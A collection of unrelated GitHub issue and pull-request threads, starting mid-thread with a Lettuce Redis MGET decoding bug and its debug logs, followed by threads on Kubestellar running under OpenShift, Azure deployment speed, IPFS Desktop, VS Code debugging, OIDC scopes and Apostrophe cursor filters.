15 Mar 2018 11:30:30,413 [DEBUG] {} (lettuce-nioEventLoop-3-7) com.lambdaworks.redis.protocol.RedisStateMachine: Decoded ClusterCommand [command=AsyncCommand [type=MGET, output=ValueListOutput [output=[null], error='null'], commandType=com.lambdaworks.redis.protocol.Command], executions=0], empty stack: true
15 Mar 2018 11:30:30,413 [DEBUG] {} (lettuce-nioEventLoop-3-3) com.lambdaworks.redis.protocol.RedisStateMachine: Decode ClusterCommand [command=AsyncCommand [type=MGET, output=ValueListOutput [output=[], error='null'], commandType=com.lambdaworks.redis.protocol.Command], executions=0]
15 Mar 2018 11:30:30,413 [DEBUG] {} (lettuce-nioEventLoop-3-3) com.lambdaworks.redis.protocol.RedisStateMachine: Decoded ClusterCommand [command=AsyncCommand [type=MGET, output=ValueListOutput [output=[null], error='null'], commandType=com.lambdaworks.redis.protocol.Command], executions=0], empty stack: true

Our environment:
Lettuce 4.1.1.Final
Redis 3.2
Link to code where exception is thrown.

Care to upgrade to Lettuce 4.4.3?

We are in the process of migrating to 4.4.3 - just conducting some final testing.

We also see the same exception with 4.1.1.Final. As a result of internal restriction, we cannot migrate immediately. Can you share the patch to this issue so we can fix it internally temporarily?

Care to upgrade to Lettuce 4.4.3?

Currently, the cause is unknown. It seems to be caused by a protocol offset.

Are there any suggestions at this stage?

You might want to record a debug log to see what causes the actual protocol offset.

Is it expected that a RedisFuture is used when aConnection.sync().mget(keys) is called?

@sheen-aa Yes. Lettuce is an asynchronous/reactive driver and the synchronous API is a synchronization layer on top of the asynchronous API.

When mget returns only one element, exists returns null.

@sheen-aa I don't follow. Care to elaborate? Which exists are you talking about?

I check some of the failing requests and find that all values for keys passing to mget of Redis do not exist. Then I want to confirm whether all failing requests do not have values for all keys and call exists of Redis with the same set of keys passed to mget of Redis and find that exists of Redis returns null instead of 0.

@sheen-aa I don't follow. Care to elaborate? Which exists are you talking about?

In this page, EXISTS and MGET are both documented as "supported for cross-slot command execution". As written in my last comment, I cannot use EXISTS to count how many keys exist when MGET fails without all values returned. However, GET behaves as normal.
I am only call mget with all keys passed in the same slot. During one debug run, I find:
** Lettuce mget returns at this line.
** This line is executed multiple times inside one mget call.
Normally, it happens more frequently on higher TPS and does not happen with manual test. However, I was once able to "reproduce" this MGET behavior with mget(key1, key2, key3) only for several times in a manual test with key1 and key3 exist while key2 not.

Does it seem to be related to cross-slot command execution?

Using keys that reside in the same slot doesn't cause IndexOutOfBoundsException as the code path isn't executed in which the result correlation happens. I'm not able to reproduce the issue, neither with 4.1 nor 4.4.

I think this is exactly why it seems interesting and why I am commenting this. We use hash tag of Redis and all 3 keys passed to mget have the same hash tag.

If you are able to reproduce the issue, please capture the debug log to track down what happened.

Below is a sample DEBUG log with some sensitive value replaced:
25 Mar 2018 12:02:40,222 [DEBUG] INTERNAL_TRACE_ID_1 (INTERNAL_NAME_X : 5) RedisChannelHandler: dispatching command AsyncCommand [type=MGET, output=ValueListOutput [output=[], error='null'], commandType=com.lambdaworks.redis.protocol.Command]
25 Mar 2018 12:02:40,222 [DEBUG] INTERNAL_TRACE_ID_1 (INTERNAL_NAME_X : 5) PooledClusterConnectionProvider: getConnection(READ, 10382)
25 Mar 2018 12:02:40,222 [DEBUG] INTERNAL_TRACE_ID_1 (INTERNAL_NAME_X : 5) CommandHandler: [/HOST:PORT_1 -> /HOST:PORT_2] write() writeAndFlush Command ClusterCommand [command=AsyncCommand [type=MGET, output=ValueListOutput [output=[], error='null'], commandType=com.lambdaworks.redis.protocol.Command], executions=0]
25 Mar 2018 12:02:40,222 [DEBUG] INTERNAL_TRACE_ID_1 (INTERNAL_NAME_X : 5) CommandHandler: [/HOST:PORT_1 -> /HOST:PORT_2] write() done
25 Mar 2018 12:02:40,222 [DEBUG] INTERNAL_TRACE_ID_2 (lettuce-nioEventLoop-3-6) CommandEncoder: [/HOST:PORT_1 -> /HOST:PORT_2] writing command ClusterCommand [command=AsyncCommand [type=MGET, output=ValueListOutput [output=[], error='null'], commandType=com.lambdaworks.redis.protocol.Command], executions=0]
25 Mar 2018 12:02:40,222 [DEBUG] INTERNAL_TRACE_ID_2 (lettuce-nioEventLoop-3-6) CommandHandler: [/HOST:PORT_1 -> /HOST:PORT_2] Queue contains: 1 commands
25 Mar 2018 12:02:40,223 [DEBUG] INTERNAL_TRACE_ID_2 (lettuce-nioEventLoop-3-6) RedisStateMachine: Decode ClusterCommand [command=AsyncCommand [type=MGET, output=ValueListOutput [output=[], error='null'], commandType=com.lambdaworks.redis.protocol.Command], executions=0]
25 Mar 2018 12:02:40,223 [DEBUG] INTERNAL_TRACE_ID_2 (lettuce-nioEventLoop-3-6) RedisStateMachine: Decoded ClusterCommand [command=AsyncCommand [type=MGET, output=ValueListOutput [output=[REAL_OUTPUT_VALUE_1], error='null'], commandType=com.lambdaworks.redis.protocol.Command], executions=0], empty stack: true

Thanks. The debug log shows very little and nothing unusual. We'd need to have a larger section showing an interaction between multiple commands with one or two commands executed before on the same connection. I understand if you have concerns regarding sensitive data.

Thanks for your understanding! By "unusual", do you have something on suspicion so I can pay more attention in the log? As has been commented by HarryTheHawk, there is "just the expected output". We cannot reproduce it stably, but it does happen a lot so I need to pick lines which are more suspicious.
Also, is it possible to use mget in a normal mode which is not supported for cross-slot command execution? By normal mode, I want to mean the mode get uses?

I suspect there's some offset in the protocol meaning there's a response on the decode buffer that gets used to complete commands and which does not belong to the actual command but the previous one. It's hard to debug how/where a particular response sneaked in as Lettuce 4 reuses CommandHandler and its buffer across multiple TCP connections. Lettuce 5 spins up always a fresh CommandHandler and decode buffer which would solve the issue naturally.
Regarding your second question, you can fetch node connections directly if you know that a command should hit a particular node. Node connections don't apply aggregation/routing of commands but are regular standalone connections.

Is there a way such as manually closing TCP connection or creating another new CommandHandler to recover from a failing state?
I find the following tracebacks during mget issue for some get calls:
com.lambdaworks.redis.RedisException: java.lang.IllegalStateException
        at com.lambdaworks.redis.LettuceFutures.await(LettuceFutures.java:106)
        at com.lambdaworks.redis.LettuceFutures.awaitOrCancel(LettuceFutures.java:74)
        at com.lambdaworks.redis.cluster.StatefulRedisClusterConnectionImpl$ClusterFutureSyncInvocationHandler.handleInvocation(StatefulRedisClusterConnectionImpl.java:343)
        at com.google.common.reflect.AbstractInvocationHandler.invoke(Unknown Source)
        at com.sun.proxy.$Proxy13.get(Unknown Source)
        at com.amazon.cn3p.dao.cache.redis.RedisSableCacheDao.getCache(RedisSableCacheDao.java:144)
        ... 62 more
Caused by: java.lang.IllegalStateException
        at com.lambdaworks.redis.output.CommandOutput.set(CommandOutput.java:63)
        at com.lambdaworks.redis.protocol.RedisStateMachine.lambda$safeSet$0(RedisStateMachine.java:178)
        at com.lambdaworks.redis.protocol.RedisStateMachine.safeSet(RedisStateMachine.java:195)
        at com.lambdaworks.redis.protocol.RedisStateMachine.safeSet(RedisStateMachine.java:178)
        at com.lambdaworks.redis.protocol.RedisStateMachine.decode(RedisStateMachine.java:118)
        at com.lambdaworks.redis.protocol.CommandHandler.decode(CommandHandler.java:162)
        at com.lambdaworks.redis.protocol.CommandHandler.channelRead(CommandHandler.java:141)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
        at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340)
        at io.netty.channel.ChannelInboundHandlerAdapter.channelRead(ChannelInboundHandlerAdapter.java:86)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
        at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340)
        at io.netty.channel.ChannelInboundHandlerAdapter.channelRead(ChannelInboundHandlerAdapter.java:86)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
        at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340)
        at io.netty.channel.ChannelInboundHandlerAdapter.channelRead(ChannelInboundHandlerAdapter.java:86)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
        at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:340)
        at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1334)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:362)
        at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:348)
        at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:926)
        at io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe.read(AbstractNioByteChannel.java:134)
        at io.netty.channel.nio.NioEventLoop.processSelectedKey(NioEventLoop.java:644)
        at io.netty.channel.nio.NioEventLoop.processSelectedKeysOptimized(NioEventLoop.java:579)
        at io.netty.channel.nio.NioEventLoop.processSelectedKeys(NioEventLoop.java:496)
        at io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:458)
        at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)
        at io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:138)
        ... 1 more

You can either recreate the connection or call .reset(). That's also the same issue. GET decodes an integer response from a previous command.

Closing this one as it seems we cannot do anything further here.


[Impeller] Add a glossary to the Impeller docs

Define common graphics/shader terms used across the docs.
(re: https://github.com/flutter/engine/pull/34634/files#r920358783)

Additionally, OpenGL ES, EGL, WSI, AHB, KHR.


bug: Kubestellar image is not running in OpenShift: permission denied

Describe the bug
In Openshift the default behaviour is that Openshift assign a UID/GID to a running container from a range that is defined when the project is created.
The current Kubestellar assumes that the container is running with kubestellar as the user.
So when the Kubestellar container starts kcp can't write to kubestellar-logs and to .kcp directories.
Steps To Reproduce
N/A
Expected Behavior
To deploy in Openshift either we need to build the container so it can run with any user that is assigned by Openshift.
Alternatively we can allow the container to run as user kubestellar (UID 1000).
Here is what needs to doe in order to run the kubestellar image on Openshift as user kubestellar (UID 1000).

A service account needs to be defined and used by the pod:

apiVersion: v1
kind: ServiceAccount
metadata:
  name: kubestellar
  namespace: kubestellar

Change the default security-group from restricted to anyuid - this allows the pod to run using UID 1000 which is assigned to kubestellar.
Need to update the deployment YAML as follows:
Note the addition of (1) securityContext to the template/spec, (2) securityContext to the container, and (3) adding serviceAccountName to the template spec

apiVersion: apps/v1
kind: Deployment
metadata:
  name: kubestellar-server
  namespace: kubestellar
spec:
  selector:
    matchLabels:
      app: kubestellar-server
  replicas: 1
  template:
    metadata:
      labels:
        app: kubestellar-server
    spec:
      securityContext:
        fsGroup: 1000
        supplementalGroups: [1000]
      volumes:
      - name: kubestellar-pv
        persistentVolumeClaim:
          claimName: kubestellar-pvc
      containers:
      - name: kubestellar-server
        image: quay.io/kubestellar/kubestellar:latest
        imagePullPolicy: Always # IfNotPresent
        securityContext:
           runAsUser: 1000
           runAsGroup: 1000
        volumeMounts:
        - name: kubestellar-pv
          mountPath: "/.kcp"
          readOnly: false
        ports:
        - name: ks-port
          protocol: TCP
          containerPort: 6443
      serviceAccountName: kubestellar

Additional Context
N/A

FYI - A solution has been implemented by @francostellari in a WiP branch.

This issue has been solved by PR #863


Angular2 deployment performance

Hi, I wasn't sure to open an issue but here I am.
I am deploying 2 angular2 apps to an azure web site and deployment script takes approximately 15 minutes with node_modules folder already created and 25 without it.
Attached is  the deployment log. Any ideas on how to improve time? Does the app service configuration (ram, cpu, etc.) has something to do?
I tried to avoid kudusync, do everything in the same repository folder and in the end move the necessary files to wwwroot but I could not make it work.
Deployment script is pretty straight forward but in the end move dist\client files to wwwroot folder.
This is the deployment part of the script:
`:: 3. Install npm packages
IF EXIST "%DEPLOYMENT_TARGET%\package.json" (
call :ExecuteCmd !NPM_CMD! set progress=false
echo Install npm packages
pushd "%DEPLOYMENT_TARGET%"
call :ExecuteCmd !NPM_CMD! install
echo Finished installing npm packages
IF !ERRORLEVEL! NEQ 0 goto error
popd
)
:: 4. Build the webclient
IF EXIST "%DEPLOYMENT_TARGET%\package.json" (
echo Build the webclient
pushd "%DEPLOYMENT_TARGET%"
call :ExecuteCmd !NPM_CMD! run build
echo Finished building the webclient
IF !ERRORLEVEL! NEQ 0 goto error
popd
)
echo Moving client folder
move /y "%DEPLOYMENT_TARGET%\dist\client*" "%DEPLOYMENT_TARGET%"
echo Client folder moved`
Log.txt

unfortunately that's just npm behavior. running npm install on my local machine for a large angular2 app takes about 2 to 3 minutes. That's with a fast SSD, on Azure the disk is significantly slower since it's a network share, etc. Aside from avoiding npm install, which won't be correct since npm is non-deterministic.
yarn on the other hand is deterministic and can know that a restore is not needed based on its lock file. Try giving that a try.

Hi
If the problem persists and is related to running it on Azure App Service, please open a support incident in Azure:
https://learn.microsoft.com/en-us/azure/azure-portal/supportability/how-to-create-azure-support-request
This way we can better track and assist you on this case
Thanks,
Joaquin Vano
Azure App Service


Adding documentation about ETCD_SSL_DIR

ETCD_SSL_DIR isn't documented in the coreos docs, but probably should be.

LGTM, thank you for writing this up!


Display Tears while downloading OTA updates

When you download via SSL a file, the display glitches alot, even with DMA access enabled.

try this https://github.com/esp-arduino-libs/arduino-esp32-sdk

Sorry, I haven't used platform. I read the documentation and maybe this introduction will help you replace arduino-esp32 https://docs.platformio.org/en/latest/platforms/espressif32.html#using-arduino-framework-with-staging-version

Due to the instability of the arduino-esp32 v3 version, I have not tested whether it can run normally. I have only conducted tests on the v2 version. To resolve display tearing issues, you need to enable XIP in PSRAM. For a detailed description, please refer to the following link: Why do I get overall drift of the display when ESP32-S3 is driving an RGB LCD screen?.


Update the package that Arch Linux users need to install

See https://lists.archlinux.org/pipermail/aur-requests/2020-August/043957.html .

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: blackteahamburger sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


[gui error report] Error: multiaddr "http://<IP_ADDRESS>:45005" must start with a "/"

👉 Please describe what you were doing when this error happened.
Specifications

OS: win32 10.0.22621
IPFS Desktop Version: 0.24.0
Electron Version: 19.0.9
Chrome Version: 102.0.5005.167

Error
Error: multiaddr "http://<IP_ADDRESS>:45005" must start with a "/"
    at new Multiaddr (C:\Program Files\IPFS Desktop\resources\app.asar\node_modules\multiaddr\src\index.js:54:15)
    at multiaddr (C:\Program Files\IPFS Desktop\resources\app.asar\node_modules\multiaddr\src\index.js:621:10)
    at parseMultiaddr (C:\Program Files\IPFS Desktop\resources\app.asar\src\daemon\config.js:118:7)
    at checkPorts (C:\Program Files\IPFS Desktop\resources\app.asar\src\daemon\config.js:334:23)
    at getIpfsd (C:\Program Files\IPFS Desktop\resources\app.asar\src\daemon\daemon.js:71:16)
    at process.processTicksAndRejections (node:internal/process/task_queues:96:5)
    at async startDaemon (C:\Program Files\IPFS Desktop\resources\app.asar\src\daemon\daemon.js:210:17)
    at async startIpfs (C:\Program Files\IPFS Desktop\resources\app.asar\src\daemon\index.js:48:17)
    at async setupDaemon (C:\Program Files\IPFS Desktop\resources\app.asar\src\daemon\index.js:116:3)
    at async run (C:\Program Files\IPFS Desktop\resources\app.asar\src\index.js:85:5)

@SAWKIT-17 mind providing context what you were doing before this error occured?


No Launch Gear to create launch.json file when no workspace is open

Testing #18397 on Windows

Open a single js file in VS Code Insiders
Open the Debug Side Pane

You can see the Play button to start running/debugging, but no gear button to configure launch.json
The gear is available if you open a workspace though.

This is as designed as for the no folder workspace we support debugging but we do not support a launch.json. User currently has to open a folder in order to configure a launch.json (similar to how he can not have workspace settings in a no folder workspace) - we might change this in the future, so we just pickup a nearest launch.json (but this is currently not on the immedaite plan)


Have 'roles' added as a default OIDC scope and ship it by default

Is your suggestion related to an experience ? Please describe.
Given now that the product supports application roles, and role to scope mapping, having 'roles' defined in the IS by default as a OIDC scope will simplify the user experience for developers to pass that scope to applications just by adding it in the 'attribute' configuration section of the app without going over docs and having hard time to figure out how to pass roles to the application in the id token
Describe the improvement
Add roles to the OIDC scopes by default

Added severity as critical given this is a common flow and a common expectation for those who try to do RBAC for their apps

This is done. Hence closing the issue.


feat: Disabled 'Apply' button when there is no selected filters

https://artsyproduct.atlassian.net/browse/FX-2840

LGTM 👍

Done!


Automatically provide cursor filter methods for all schema fields

Most schema field types now automatically get cursor filter methods by the same name. This allows you to write, for instance:
self.find(req)._departments('some-event-id').toArray(...)

... To retrieve only people who are joined with departments (such a join must exist in the schema for people).
They all have a launder method but are by default marked safeFor: "manage" as there are security issues with allowing the public to filter stuff by private properties they shouldn't know about just by writing a query string. There is a new safeFilters method of cursors which can be used to conveniently mark an array of filter names as safeFor: "public".
On the front end, apostrophe-pieces-pages now leverages this to implement the new piecesFilters option. An example from ND:
  piecesFilters: [
    { name: '_system' },
    { name: 'year' },
    { name: 'tags'  }
  ]

This automatically populates req.data.piecesFilters._system with an array of choices to select a biological system (via a joinByOne), req.data.piecesFilters.year with an array of choices for years, etc.
The choices are objects in our standard "label and value properties" format.
The choices are case-insensitively sorted.
This eliminates the need for any custom code for pieces and pieces-pages in many common cases.
PRESENT LIMITATIONS:

More capabilities are coming such as specifying that you want autocomplete rather than an array of choices, which could in some cases be too much of a performance hit. The configuration format is designed to accommodate more properties to cover this.

There is no support for filtering on reverse joins yet. There are significant issues there, but we should dig into it.

Filters on joins use ids which are efficient but rather opaque to users. Slugs can sometimes change, breaking links, and impose a small performance hit on joinByArray because they must be looked up first. We could do something like _project=really-cool-project:XXXXX that includes both the slug and the id in the URL, with the slug being there "for the pretty" only. We can talk about it.

_.pluck is all over a2, but if _.map actually works this way in 3.x it
wouldn't hurt to start moving in that direction.
Thanks for reviewing!
On Thu, Dec 1, 2016 at 10:41 AM, Tom Boutell<EMAIL_ADDRESS>wrote:

We use lodash 3.x. lodash 4.x is not backwards compatible.
On Thu, Dec 1, 2016 at 9:35 AM, Brian Gantick<EMAIL_ADDRESS>wrote:

@bgantick commented on this pull request.
One thing to look at. Looks good otherwise!
In lib/modules/apostrophe-pieces-pages/index.js
https://github.com/punkave/apostrophe/pull/766#pullrequestreview-10975638
:

@@ -78,6 +89,7 @@ module.exports = {

 self.indexCursor = function(req) {
   return self.pieces.find(req, {})

   .safeFilters(_.pluck(self.piecesFilters, 'name'))

FYI - looks like _.pluck() was removed from lodash in 4.x:
https://github.com/lodash/lodash/wiki/Changelog#v400
Maybe use _.map() instead?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/punkave/apostrophe/pull/766#pullrequestreview-10975638,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAB9fXVkokShH2KMMZZf37-2kWlmgSEdks5rDttKgaJpZM4LAv2w
.

--
*THOMAS BOUTELL, *SUPPORT LEAD
P'UNK AVENUE |<PHONE_NUMBER>  |  punkave.com

--
*THOMAS BOUTELL, *SUPPORT LEAD
P'UNK AVENUE |<PHONE_NUMBER>  |  punkave.com

This PR now also covers our AJAX issue, both #625 and #626 would be resolved by merging it. Whoah.

Whoah.

I had a very productive holiday.
On Thu, Dec 1, 2016 at 4:42 PM, Alex Gilbert<EMAIL_ADDRESS>wrote:

Whoah.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/punkave/apostrophe/pull/766#issuecomment-264304506,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAB9fdX9jLOUIFXJl7v3MO5Uk3x0B-1pks5rDz9jgaJpZM4LAv2w
.

--
*THOMAS BOUTELL, *SUPPORT LEAD
P'UNK AVENUE |<PHONE_NUMBER>  |  punkave.com